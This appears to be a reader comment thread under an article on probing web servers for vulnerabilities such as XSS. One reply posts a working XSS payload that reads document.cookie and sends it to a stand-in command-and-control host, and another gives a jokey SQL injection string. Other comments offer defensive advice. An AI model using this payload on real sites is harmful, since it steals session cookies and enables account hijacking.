Sealed with an XSS: Popular vulnerabilities probed

If we have internet-facing web servers (and other types of server, for that matter) we care about how vulnerable they are to attack. There are loads of services out there that you can use to probe your public-facing systems, and they'll tell you loads of useful stuff about why they might be vulnerable. But of course they're only …

[Anonymous Coward]

XSS....

Code sample example please...............?

[RichMcc]

Re: XSS....

<script type="text/javascript">

function SlurpData() {

var d = document.cookie;

var params = JSON.stringify({ data: d });

var xmlHttp = new XMLHttpRequest();

xmlHttp.onreadystatechange = function () {

if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {

alert("All Your Sessions Are Belongs to me!");

}

}

xmlHttp.open("post", "www.pwn.org/CandC.asmx/Slurp", true);

xmlHttp.setRequestHeader("content-type", "application/json; charset=utf-8");

xmlHttp.setRequestHeader("Content-length", params.length);

xmlHttp.setRequestHeader("Connection", "close");

xmlHttp.send(params);

}

SlurpData();

</script>

[Anonymous Coward]

"All Your Sessions Are Belongs to me!"

Cheers @ RichMcc

[0laf]

Ta

Nice article cheers. Passed onto some guys that wonder why I always raise these topics with web based systems.

[Alan J. Wylie]

Obligatory XKCD

https://xkcd.com/327/

[John G Imrie]

Re: Obligatory XKCD

Hello '; SELECT * FROM users where id = 22991

[Charlie Clark]

SQL Injection - escaping is never enough

Passing parameters is far more important than trying to escape them: if your setup doesn't let you do this, change it.

Wrap all queries in views and only accept http-post queries with CSRF tokens.

[Quando]

Do they mention anything about getting people to login via https rather than http?